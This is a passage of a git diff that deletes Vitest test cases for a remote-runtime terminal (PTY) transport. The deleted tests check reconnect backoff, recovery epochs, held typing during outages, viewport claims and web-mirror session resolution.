-    expect(onReplayData.mock.calls.map((call) => call[0])).toEqual(['INITIAL_SNAPSHOT'])
-
-    subscriptionCallbacks?.onClose?.()
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(3))
-    await vi.waitFor(() => expect(subscribeFrameCount()).toBe(3))
-    const populatedReconnectStreamId = latestSubscribePayload().streamId
-    emitSnapshot(populatedReconnectStreamId, 'RECOVERY_SNAPSHOT')
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'subscribed',
-        streamId: populatedReconnectStreamId,
-        capabilities: { outputPause: 1 }
-      }
-    })
-
-    await vi.waitFor(() => expect(onConnect).toHaveBeenCalledTimes(3))
-    expect(onStreamRecovered).toHaveBeenCalledTimes(1)
-    expect(onReplayData.mock.calls.map((call) => call[0])).toEqual([
-      'INITIAL_SNAPSHOT',
-      'RECOVERY_SNAPSHOT'
-    ])
-    transport.destroy?.()
-  })
-
-  it('backs off before retrying a capacity-rejected terminal stream', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      await transport.connect({ url: '', callbacks: {} })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      const { streamId } = latestSubscribePayload()
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: {
-          type: 'error',
-          streamId,
-          message: 'terminal_stream_limit_exceeded'
-        }
-      })
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: { type: 'end', streamId }
-      })
-
-      expect(transport.getRecoveryState?.().phase).toBe('backoff')
-      expect(runtimeSubscribe).toHaveBeenCalledTimes(1)
-      await vi.advanceTimersByTimeAsync(249)
-      expect(runtimeSubscribe).toHaveBeenCalledTimes(1)
-      await vi.advanceTimersByTimeAsync(1)
-      await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('keeps retrying when the first post-partition terminal reattach fails', async () => {
-    let subscribeAttempt = 0
-    const recoveryPhases: string[] = []
-    const transportCallbacks: NonNullable<typeof subscriptionCallbacks>[] = []
-    runtimeSubscribe.mockImplementation(
-      async (_args: unknown, callbacks: NonNullable<typeof subscriptionCallbacks>) => {
-        subscribeAttempt += 1
-        transportCallbacks.push(callbacks)
-        subscriptionCallbacks = callbacks
-        if (subscribeAttempt === 2) {
-          throw new Error('Could not connect to the remote Orca runtime.')
-        }
-        queueMicrotask(emitMultiplexReady)
-        return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-      }
-    )
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onError = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    await transport.connect({
-      url: '',
-      callbacks: {
-        onError,
-        onRecoveryStateChange: (state) => recoveryPhases.push(state.phase)
-      }
-    })
-    transportCallbacks[0].onError?.({
-      code: 'remote_runtime_unavailable',
-      message: 'Remote Orca runtime stopped responding; the stream connection was reset.'
-    })
-
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(3))
-    expect(onError).not.toHaveBeenCalled()
-    expect(recoveryPhases).toContain('backoff')
-    transport.destroy?.()
-  })
-
-  it('surfaces fatal transport errors once without retrying or double-unsubscribing', async () => {
-    const unsubscribe = vi.fn()
-    runtimeSubscribe.mockImplementation(
-      async (_args: unknown, callbacks: NonNullable<typeof subscriptionCallbacks>) => {
-        subscriptionCallbacks = callbacks
-        queueMicrotask(emitMultiplexReady)
-        return { unsubscribe, sendBinary: subscriptionSendBinary }
-      }
-    )
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onError = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', { worktreeId: 'wt-1' })
-    await transport.connect({ url: '', callbacks: { onError } })
-
-    subscriptionCallbacks?.onError?.({
-      code: 'unauthorized',
-      message: 'Remote Orca runtime rejected the pairing token.'
-    })
-
-    expect(onError).toHaveBeenCalledTimes(1)
-    expect(unsubscribe).toHaveBeenCalledTimes(1)
-    expect(runtimeSubscribe).toHaveBeenCalledTimes(1)
-    expect(transport.isConnected()).toBe(false)
-    transport.destroy?.()
-    expect(unsubscribe).toHaveBeenCalledTimes(1)
-  })
-
   it('recovers repeated partitions without changing PTY identity and delivers detached input once', async () => {
     const callbacksByEpoch: NonNullable<typeof subscriptionCallbacks>[] = []
     const unsubscribeByEpoch: ReturnType<typeof vi.fn>[] = []
@@ -492,256 +109,4 @@ describe('createRemoteRuntimePtyTransport', () => {
       true
     )
   })
-
-  it('stops automatic retries and manually reattaches the same PTY in a new epoch', async () => {
-    vi.useFakeTimers()
-    try {
-      let partitioned = false
-      const callbacksByConnection: NonNullable<typeof subscriptionCallbacks>[] = []
-      runtimeSubscribe.mockImplementation(
-        async (_args: unknown, callbacks: NonNullable<typeof subscriptionCallbacks>) => {
-          if (partitioned) {
-            throw Object.assign(new Error('Could not connect to the remote Orca runtime.'), {
-              code: 'remote_runtime_unavailable'
-            })
-          }
-          callbacksByConnection.push(callbacks)
-          subscriptionCallbacks = callbacks
-          queueMicrotask(() => callbacks.onResponse({ ok: true, result: { type: 'ready' } }))
-          return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-        }
-      )
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onError = vi.fn()
-      const recoveryStates: { phase: string; epoch: number; attempt: number }[] = []
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-1',
-        callbacks: {
-          onError,
-          onRecoveryStateChange: (state) => recoveryStates.push(state)
-        }
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      emitSnapshot(latestSubscribePayload().streamId, 'before partition')
-      expect(transport.isConnected()).toBe(true)
-
-      partitioned = true
-      callbacksByConnection[0].onClose?.()
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS)
-
-      const disconnectedState = transport.getRecoveryState?.()
-      const callsAtCutoff = runtimeSubscribe.mock.calls.length
-      expect(disconnectedState?.phase).toBe('disconnected')
-      expect(transport.getPtyId()).toBe('remote:env-1@@terminal-1')
-      expect(transport.isConnected()).toBe(false)
-      const inputFramesAtCutoff = inputFrameTexts().length
-      // Held for this same terminal within the grace, never written to the stale socket.
-      expect(transport.sendInput('typed while disconnected', 'driving')).toBe(true)
-      expect(inputFrameTexts()).toHaveLength(inputFramesAtCutoff)
-      expect(onError).not.toHaveBeenCalled()
-      await vi.advanceTimersByTimeAsync(4 * 60_000)
-      expect(runtimeSubscribe).toHaveBeenCalledTimes(callsAtCutoff)
-
-      partitioned = false
-      expect(transport.retryRecovery?.()).toBe(true)
-      expect(transport.retryRecovery?.()).toBe(false)
-      await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(callsAtCutoff + 1))
-      await vi.waitFor(() => expect(subscribeFrameCount()).toBe(2))
-      const manualStream = latestSubscribePayload()
-      expect(manualStream.terminal).toBe('terminal-1')
-      emitSnapshot(manualStream.streamId, 'after manual reconnect')
-      await vi.advanceTimersByTimeAsync(50)
-      expect(inputFrameTexts().slice(inputFramesAtCutoff)).toEqual(['typed while disconnected'])
-
-      expect(transport.isConnected()).toBe(true)
-      expect(transport.getRecoveryState?.().phase).toBe('connected')
-      expect(transport.getPtyId()).toBe('remote:env-1@@terminal-1')
-      expect(recoveryStates.at(-1)?.epoch).toBeGreaterThan(disconnectedState?.epoch ?? 0)
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('says a shared connection drop caused the recovery, and forgets it once healthy', async () => {
-    const callbacksByConnection: NonNullable<typeof subscriptionCallbacks>[] = []
-    runtimeSubscribe.mockImplementation(
-      async (_args: unknown, callbacks: NonNullable<typeof subscriptionCallbacks>) => {
-        callbacksByConnection.push(callbacks)
-        subscriptionCallbacks = callbacks
-        queueMicrotask(() => callbacks.onResponse({ ok: true, result: { type: 'ready' } }))
-        return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-      }
-    )
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const recoveryStates: PtyTransportRecoveryState[] = []
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-1',
-      callbacks: { onRecoveryStateChange: (state) => recoveryStates.push(state) }
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    emitSnapshot(latestSubscribePayload().streamId, 'before drop')
-
-    callbacksByConnection[0].onClose?.()
-
-    await vi.waitFor(() =>
-      expect(recoveryStates.some((state) => state.cause === 'connection')).toBe(true)
-    )
-    await vi.waitFor(() => expect(subscribeFrameCount()).toBe(2))
-    emitSnapshot(latestSubscribePayload().streamId, 'after drop')
-    await vi.waitFor(() => expect(transport.getRecoveryState?.().phase).toBe('connected'))
-    expect(transport.getRecoveryState?.().cause).toBeUndefined()
-    transport.destroy?.()
-  })
-
-  // #25783/#9092: a route returning without `online` (Tailscale, VPN) left a latched pane dead.
-  it('revives a pane latched past its window when its environment answers again', async () => {
-    vi.useFakeTimers()
-    try {
-      let partitioned = false
-      runtimeSubscribe.mockImplementation(
-        async (_args: unknown, callbacks: NonNullable<typeof subscriptionCallbacks>) => {
-          if (partitioned) {
-            throw Object.assign(new Error('Could not connect to the remote Orca runtime.'), {
-              code: 'remote_runtime_unavailable'
-            })
-          }
-          subscriptionCallbacks = callbacks
-          queueMicrotask(() => callbacks.onResponse({ ok: true, result: { type: 'ready' } }))
-          return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-        }
-      )
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      await import('./recovery/remote-runtime-pty-recovery-state')
-      const {
-        getControlReadyReviverCountForTests,
-        reviveRemoteRuntimePtyRecoveriesForEnvironment
-      } = await import('./recovery/remote-runtime-pty-control-ready-revivers')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-      transport.attach({ existingPtyId: 'remote:env-1@@terminal-1', callbacks: {} })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      emitSnapshot(latestSubscribePayload().streamId, 'before partition')
-      expect(getControlReadyReviverCountForTests('env-1')).toBe(0)
-
-      partitioned = true
-      subscriptionCallbacks?.onClose?.()
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 60_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      const callsAtCutoff = runtimeSubscribe.mock.calls.length
-
-      partitioned = false
-      expect(reviveRemoteRuntimePtyRecoveriesForEnvironment('env-2')).toBe(0)
-      expect(reviveRemoteRuntimePtyRecoveriesForEnvironment('env-1')).toBe(1)
-      await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(callsAtCutoff + 1))
-      await vi.waitFor(() => expect(subscribeFrameCount()).toBe(2))
-      emitSnapshot(latestSubscribePayload().streamId, 'after the route returned')
-      await vi.advanceTimersByTimeAsync(50)
-      expect(transport.isConnected()).toBe(true)
-      expect(transport.getPtyId()).toBe('remote:env-1@@terminal-1')
-      // Why: a healthy pane holds no registration, so a detached-and-discarded transport is never retained.
-      expect(getControlReadyReviverCountForTests('env-1')).toBe(0)
-
-      partitioned = true
-      subscriptionCallbacks?.onClose?.()
-      await vi.advanceTimersByTimeAsync(0)
-      expect(getControlReadyReviverCountForTests('env-1')).toBe(1)
-      transport.detach?.()
-      expect(getControlReadyReviverCountForTests('env-1')).toBe(0)
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('releases pending claimed input when reconnect subscription fails', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onError = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-    await transport.connect({ url: '', callbacks: { onError } })
-    let rejectReconnect = (_error: Error): void => {}
-    runtimeSubscribe.mockImplementationOnce(
-      () =>
-        new Promise((_, reject) => {
-          rejectReconnect = reject
-        })
-    )
-
-    subscriptionCallbacks?.onClose?.()
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-    expect(transport.claimViewport?.(101, 33)).toBe(true)
-    const accepted = transport.sendInputAccepted?.('\x03', 'driving')
-    await Promise.resolve()
-    rejectReconnect(new Error('reconnect failed'))
-
-    await expect(accepted).resolves.toBe(false)
-    await vi.waitFor(() => expect(onError).toHaveBeenCalledWith('reconnect failed'))
-  })
-
-  it('releases pending claimed input when the remote terminal ends', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-    await transport.connect({ url: '', callbacks: {} })
-    const { streamId } = latestSubscribePayload()
-
-    expect(transport.claimViewport?.(101, 33)).toBe(true)
-    const accepted = transport.sendInputAccepted?.('x', 'driving')
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: { type: 'end', streamId }
-    })
-
-    await expect(accepted).resolves.toBe(false)
-  })
-
-  it('retries when a replacement transport closes before its stream installs', async () => {
-    const transportCallbacks: NonNullable<typeof subscriptionCallbacks>[] = []
-    runtimeSubscribe.mockImplementation(
-      async (_args: unknown, callbacks: NonNullable<typeof subscriptionCallbacks>) => {
-        transportCallbacks.push(callbacks)
-        subscriptionCallbacks = callbacks
-        return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-      }
-    )
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-    const connected = transport.connect({ url: '', callbacks: {} })
-    await vi.waitFor(() => expect(transportCallbacks).toHaveLength(1))
-    transportCallbacks[0].onResponse({ ok: true, result: { type: 'ready' } })
-    await connected
-
-    transportCallbacks[0].onClose?.()
-    await vi.waitFor(() => expect(transportCallbacks).toHaveLength(2))
-    transportCallbacks[1].onResponse({ ok: true, result: { type: 'ready' } })
-    transportCallbacks[1].onClose?.()
-
-    await vi.waitFor(() => expect(transportCallbacks).toHaveLength(3))
-    transport.destroy?.()
-  })
 })
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-subscribe-ack-input.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-subscribe-ack-input.test.ts
index cdfd6d2b80e..a2746b60511 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-subscribe-ack-input.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-subscribe-ack-input.test.ts
@@ -28,8 +28,6 @@ const {
   subscriptionSendBinary,
   latestSubscribePayload,
   emitSnapshot,
-  emitSnapshotFrame,
-  inputFrameTexts,
   subscribeFrameCount,
   resetRemoteRuntimeTransport
 } = createRemoteRuntimeTransportMocks({
@@ -101,106 +99,6 @@ async function recoveringTransport(duringOutage?: (transport: PtyTransport) => v
 }
 
 describe('remote recovery input at the subscribed ack', () => {
-  it('sends held typing once the host acks the subscribe, before its snapshot finishes', async () => {
-    const { transport, streamId } = await recoveringTransport()
-    expect(transport.sendInput('held-', 'driving')).toBe(true)
-    expect(inputFrameTexts()).toEqual([])
-
-    acknowledgeSubscribe(streamId)
-    await vi.waitFor(() => expect(inputFrameTexts()).toEqual(['held-']))
-    // Typing during a large snapshot transfer goes straight out, after the held bytes.
-    emitSnapshotFrame(streamId, TerminalStreamOpcode.SnapshotStart, new Uint8Array())
-    expect(transport.sendInput('live', 'driving')).toBe(true)
-    await vi.waitFor(() => expect(inputFrameTexts().join('')).toBe('held-live'))
-    expect(transport.isConnected()).toBe(false)
-
-    emitSnapshotFrame(streamId, TerminalStreamOpcode.SnapshotEnd, new Uint8Array())
-    await vi.waitFor(() => expect(transport.isConnected()).toBe(true))
-    expect(inputFrameTexts().join('')).toBe('held-live')
-    transport.destroy?.()
-  })
-
-  it('holds typing again when the acked stream drops before its snapshot ends', async () => {
-    const { transport, streamId } = await recoveringTransport()
-    acknowledgeSubscribe(streamId)
-    subscriptionCallbacks?.onError?.({
-      code: 'remote_runtime_unavailable',
-      message: 'Remote runtime connection closed.'
-    })
-    expect(transport.sendInput('after-drop', 'driving')).toBe(true)
-    await vi.waitFor(() => expect(subscribeFrameCount()).toBe(3))
-    expect(inputFrameTexts()).toEqual([])
-    const next = latestSubscribePayload().streamId
-    acknowledgeSubscribe(next)
-    await vi.waitFor(() => expect(inputFrameTexts()).toEqual(['after-drop']))
-    transport.destroy?.()
-  })
-
-  it('holds typing again when recovery backs off while the acked stream stays installed', async () => {
-    const { transport, streamId } = await recoveringTransport()
-    acknowledgeSubscribe(streamId)
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: { type: 'error', streamId, message: 'Remote runtime call queue is full.' }
-    })
-    expect(transport.sendInput('during-backoff', 'driving')).toBe(true)
-    // Outlasts the input debounce, so an unheld key would have reached the stream.
-    await new Promise((resolve) => setTimeout(resolve, 50))
-    expect(inputFrameTexts()).toEqual([])
-    transport.destroy?.()
-  })
-
-  it('replays a viewport claim made during recovery before typing reaches the host', async () => {
-    const { transport, streamId } = await recoveringTransport()
-    // Claim lands after the resubscribe went out but before the host acked it.
-    expect(transport.claimViewport?.(120, 40)).toBe(true)
-    await new Promise((resolve) => setTimeout(resolve, 0))
-    // A host still resolving the PTY ignores viewport frames, so none may be spent before its ack.
-    subscriptionSendBinary.mockClear()
-    acknowledgeSubscribe(streamId)
-    expect(transport.sendInput('typed', 'driving')).toBe(true)
-    await vi.waitFor(() => expect(inputFrameTexts()).toEqual(['typed']))
-    expect(viewportAndInputFrames()).toEqual(['claim 120x40', 'resize 120x40', 'input'])
-    transport.destroy?.()
-  })
-
-  it('keeps a claim made before the resubscribe until the host acks it', async () => {
-    const { transport, streamId } = await recoveringTransport((outage) => {
-      expect(outage.claimViewport?.(100, 30)).toBe(true)
-    })
-    await new Promise((resolve) => setTimeout(resolve, 0))
-    // A host still resolving the PTY ignores viewport frames, so none may be spent before its ack.
-    subscriptionSendBinary.mockClear()
-    acknowledgeSubscribe(streamId)
-    expect(transport.sendInput('typed', 'driving')).toBe(true)
-    await vi.waitFor(() => expect(inputFrameTexts()).toEqual(['typed']))
-    expect(viewportAndInputFrames()).toEqual(['claim 100x30', 'resize 100x30', 'input'])
-    transport.destroy?.()
-  })
-
-  it('keeps recovering when replaying a claim on an ackless host fails its write', async () => {
-    const { transport, streamId } = await recoveringTransport((outage) => {
-      expect(outage.claimViewport?.(100, 30)).toBe(true)
-    })
-    await new Promise((resolve) => setTimeout(resolve, 0))
-    subscriptionSendBinary.mockImplementation((bytes) => {
-      const opcode = decodeTerminalStreamFrame(bytes)?.opcode
-      // The link is gone: the replayed claim and the immediate resubscribe both fail to write.
-      if (
-        opcode === TerminalStreamOpcode.ClaimViewport ||
-        opcode === TerminalStreamOpcode.Subscribe
-      ) {
-        throw new Error('socket closed')
-      }
-    })
-    // An older host never sends the subscribed ack; its snapshot end is the first readiness signal.
-    emitSnapshot(streamId, 'prompt$ ')
-    await new Promise((resolve) => setTimeout(resolve, 20))
-    expect(transport.isConnected()).toBe(false)
-    expect(['recovering', 'backoff']).toContain(transport.getRecoveryState?.().phase)
-    transport.destroy?.()
-  })
-
   it('does not let a resize batched before a second outage overwrite the replayed claim', async () => {
     const { transport, streamId } = await recoveringTransport()
     acknowledgeSubscribe(streamId)
@@ -244,19 +142,4 @@ describe('remote recovery input at the subscribed ack', () => {
     )
     transport.destroy?.()
   })
-
-  it('sends a claim made after the subscribed ack instead of dropping it', async () => {
-    const { transport, streamId } = await recoveringTransport()
-    acknowledgeSubscribe(streamId)
-    subscriptionSendBinary.mockClear()
-    expect(transport.claimViewport?.(132, 50)).toBe(true)
-    expect(transport.sendInput('typed', 'driving')).toBe(true)
-    await vi.waitFor(() => expect(inputFrameTexts()).toEqual(['typed']))
-    expect(viewportAndInputFrames()).toEqual(['claim 132x50', 'resize 132x50', 'input'])
-
-    emitSnapshotFrame(streamId, TerminalStreamOpcode.SnapshotStart, new Uint8Array())
-    emitSnapshotFrame(streamId, TerminalStreamOpcode.SnapshotEnd, new Uint8Array())
-    await vi.waitFor(() => expect(transport.isConnected()).toBe(true))
-    transport.destroy?.()
-  })
 })
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts
index edfb657bc89..5f2e36380cc 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts
@@ -175,34 +175,4 @@ describe('remote runtime pty transport against a relaunched host that has not pu
       vi.useRealTimers()
     }
   })
-
-  it('still retires the pane when a published graph lacks its surface', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onPtyExit = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'pane:1',
-      onPtyExit
-    })
-    await transport.connect({ url: '', callbacks: {} })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    runtimeCall.mockImplementation(async (request: { method: string }) =>
-      request.method === 'session.tabs.list'
-        ? {
-            ok: true,
-            result: {
-              ...UNPUBLISHED_HOST_GRAPH.result,
-              publicationEpoch: 'epoch-2:client-navigation',
-              snapshotVersion: 3
-            }
-          }
-        : { ok: false, error: { code: 'runtime_error', message: 'tab_not_found' } }
-    )
-
-    subscriptionCallbacks?.onClose?.()
-
-    await vi.waitFor(() => expect(onPtyExit).toHaveBeenCalledWith('remote:env-1@@terminal-1', -1))
-    expect(transport.getPtyId()).toBeNull()
-  })
 })
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-web-mirror-recovery.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-web-mirror-recovery.test.ts
deleted file mode 100644
index f998b7bbca4..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-web-mirror-recovery.test.ts
+++ /dev/null
@@ -1,434 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
-import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
-import './recovery/remote-runtime-pty-recovery-state'
-import {
-  REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS,
-  REMOTE_RUNTIME_RECOVERY_DELAYS_MS
-} from './recovery/remote-runtime-pty-recovery-limits'
-
-const appStore = vi.hoisted(() => ({
-  getState: vi.fn(() => {
-    throw new Error('These transport fixtures must not read app-store ownership')
-  })
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: appStore.getState } }))
-
-afterEach(() => {
-  expect(appStore.getState).not.toHaveBeenCalled()
-})
-
-let subscriptionCallbacks: MultiplexSubscriptionCallbacks = null
-let resolvedPaneHandle = 'terminal-1'
-
-const {
-  runtimeCall,
-  runtimeSubscribe,
-  subscriptionSendBinary,
-  latestSubscribePayload,
-  resetRemoteRuntimeTransport
-} = createRemoteRuntimeTransportMocks({
-  getCallbacks: () => subscriptionCallbacks,
-  setCallbacks: (callbacks) => {
-    subscriptionCallbacks = callbacks
-  },
-  getResolvedPaneHandle: () => resolvedPaneHandle,
-  setResolvedPaneHandle: (handle) => {
-    resolvedPaneHandle = handle
-  }
-})
-
-describe('createRemoteRuntimePtyTransport', () => {
-  beforeEach(() => {
-    resetRemoteRuntimeTransport()
-  })
-
-  it('resolves web mirrors through host session inventory, not client-side pane aliases', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'pane:1'
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:env-1@@stale-client-handle',
-      cols: 100,
-      rows: 30,
-      callbacks: {}
-    })
-
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    expect(latestSubscribePayload()).toMatchObject({
-      terminal: 'terminal-1',
-      viewport: { cols: 100, rows: 30 }
-    })
-    // Opening is an explicit wake gesture; distinguish it from reconnect probes that preserve deliberate sleep (STA-3465).
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'session.tabs.activate',
-        params: expect.objectContaining({ intent: 'user' })
-      })
-    )
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.resolvePane',
-        params: { paneKey: 'host-tab-1:pane:1', worktreeId: 'wt-1' }
-      })
-    )
-  })
-
-  it('retries initial web mirror inventory after a transient runtime close', async () => {
-    const healthyRuntimeCall = runtimeCall.getMockImplementation()
-    let activateAttempts = 0
-    runtimeCall.mockImplementation(async (request: { method: string; params?: unknown }) => {
-      if (request.method === 'session.tabs.activate' && activateAttempts++ === 0) {
-        throw Object.assign(new Error('Remote Orca runtime closed the connection.'), {
-          code: 'remote_runtime_unavailable'
-        })
-      }
-      return healthyRuntimeCall?.(request)
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onError = vi.fn()
-    const recoveryPhases: string[] = []
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'pane:1'
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:env-1@@stale-client-handle',
-      cols: 100,
-      rows: 30,
-      callbacks: {
-        onError,
-        onRecoveryStateChange: (state) => recoveryPhases.push(state.phase)
-      }
-    })
-
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(1))
-    expect(activateAttempts).toBe(2)
-    expect(onError).not.toHaveBeenCalled()
-    expect(recoveryPhases).toContain('backoff')
-    expect(latestSubscribePayload().terminal).toBe('terminal-1')
-    expect(runtimeCall.mock.calls.some(([request]) => request.method === 'terminal.create')).toBe(
-      false
-    )
-  })
-
-  it('keeps web mirror inventory and subscription failures inside one recovery budget', async () => {
-    vi.useFakeTimers()
-    try {
-      const healthyRuntimeCall = runtimeCall.getMockImplementation()
-      let activateAttempts = 0
-      runtimeCall.mockImplementation(async (request: { method: string; params?: unknown }) => {
-        if (request.method === 'session.tabs.activate' && activateAttempts++ === 0) {
-          throw Object.assign(new Error('Remote Orca runtime closed the connection.'), {
-            code: 'remote_runtime_unavailable'
-          })
-        }
-        if (request.method === 'session.tabs.list') {
-          return healthyRuntimeCall?.({
-            method: 'session.tabs.activate',
-            params: { tabId: 'host-tab-1', leafId: 'pane:1' }
-          })
-        }
-        return healthyRuntimeCall?.(request)
-      })
-      runtimeSubscribe.mockRejectedValue(
-        Object.assign(new Error('Remote Orca runtime closed the connection.'), {
-          code: 'remote_runtime_unavailable'
-        })
-      )
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'pane:1'
-      })
-
-      transport.attach({
-        existingPtyId: 'remote:env-1@@stale-client-handle',
-        callbacks: {}
-      })
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS)
-
-      const attemptsAtCutoff = runtimeSubscribe.mock.calls.length
-      // Why: every backoff step must be reachable inside the window it arms (#11305).
-      expect(attemptsAtCutoff).toBeGreaterThanOrEqual(REMOTE_RUNTIME_RECOVERY_DELAYS_MS.length)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-
-      await vi.advanceTimersByTimeAsync(5 * 60_000)
-      expect(runtimeSubscribe).toHaveBeenCalledTimes(attemptsAtCutoff)
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('ends web mirror recovery when a retry returns a fatal inventory error', async () => {
-    vi.useFakeTimers()
-    try {
-      let activateAttempts = 0
-      runtimeCall.mockImplementation(async (request: { method: string }) => {
-        if (request.method !== 'session.tabs.activate') {
-          throw new Error(`Unexpected method ${request.method}`)
-        }
-        activateAttempts += 1
-        if (activateAttempts === 1) {
-          throw Object.assign(new Error('Remote Orca runtime closed the connection.'), {
